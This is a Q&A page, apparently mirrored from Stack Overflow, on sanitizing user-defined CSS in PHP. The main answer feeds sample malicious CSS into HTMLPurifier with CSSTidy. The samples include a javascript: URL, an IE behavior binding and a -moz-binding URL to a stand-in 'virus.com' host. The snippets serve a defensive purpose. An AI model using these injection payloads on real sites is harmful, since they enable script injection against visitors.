Sanitize user defined CSS in PHP

前端 未结 4 1821
长发绾君心
长发绾君心 2020-12-08 08:23

I want to allow users to use their own stylesheets for thei profiles on my forum, but I\'m afraid of possible security vulnerabilities. Does anyone have any tips for sanitiz

相关标签:
4条回答
  • 2020-12-08 08:57

    Define the classes yourself, and make a GUI to apply color and other properties to each class, use the same approach twitter does for that.

    alt text http://grab.by/grabs/3217158e9c48538eb127fb1678dab6ae.png

    Of course, this would only work if your layout is fixed and defined by the admin, not the user.

    0 讨论(0)
  • 2020-12-08 09:03

    HTMLPurifier with CSSTidy does what you're looking for.

    HTMLPurifier is primarily designed for sanitizing HTML, but also has an option to extract style blocks with CSSTidy.

    There's an example in the HTMLPurifier docs (but alas, I've used up my two links per post.)

    Here's another:

    require_once './htmlpurifier/library/HTMLPurifier.auto.php';
    require_once './csstidy/class.csstidy.php';
    
    // define some css
    $input_css = "
        body {
            margin: 0px;
            padding: 0px;
            /* JS injection */
            background-image: url(javascript:alert('Injected'));
        }
        a {
            color: #ccc;
            text-decoration: none;
            /* dangerous proprietary IE attribute */
            behavior:url(hilite.htc);
            /* dangerous proprietary FF attribute */
            -moz-binding: url('http://virus.com/htmlBindings.xml');
        }
        .banner {
            /* absolute position can be used for phishing */
            position: absolute;
            top: 0px;
            left: 0px;
        }
    ";
    
    // Create a new configuration object
    $config = HTMLPurifier_Config::createDefault();
    $config->set('Filter.ExtractStyleBlocks', TRUE);
    
    // Create a new purifier instance
    $purifier = new HTMLPurifier($config);
    
    // Turn off strict warnings (CSSTidy throws some warnings on PHP 5.2+)
    $level = error_reporting(E_ALL & ~E_STRICT);
    
    // Wrap our CSS in style tags and pass to purifier. 
    // we're not actually interested in the html response though
    $html = $purifier->purify('<style>'.$input_css.'</style>');
    
    // Revert error reporting
    error_reporting($level);
    
    // The "style" blocks are stored seperately
    $output_css = $purifier->context->get('StyleBlocks');
    
    // Get the first style block
    echo $output_css[0];
    

    And the output is:

    body {
        margin:0;
        padding:0;
    }
    
    a {
        color:#ccc;
        text-decoration:none;
    }
    
    .banner {
    }
    
    0 讨论(0)
  • 2020-12-08 09:12

    I don't see how this could possibly create security vulnerabilities, unless the profiles are shared with other users.

    If they're shared, CSRF vulnerabilities could come up (since CSS can generate GET requests to include images, fonts, other stylesheets etc). They could also use content to trick users into clicking some places, hide important functionality, etc. And, of course, you would have to escape <, >, and possibly & to prevent XSS (if the CSS is embedded in the HTML).

    As to libraries to do the sanitation, I'm not aware of any (maybe tidy).

    0 讨论(0)
  • 2020-12-08 09:21

    This probably won't fix all sorts of hacks but probably most automated hacks at least:

    $css = strip_tags($css);
    $css = htmlspecialchars($css, ENT_HTML5 | ENT_NOQUOTES | ENT_SUBSTITUTE, 'utf-8');
    

    Depends on how many users are allowed to use this feature and how big of a threat it could be due to that..

    0 讨论(0)
提交回复
热议问题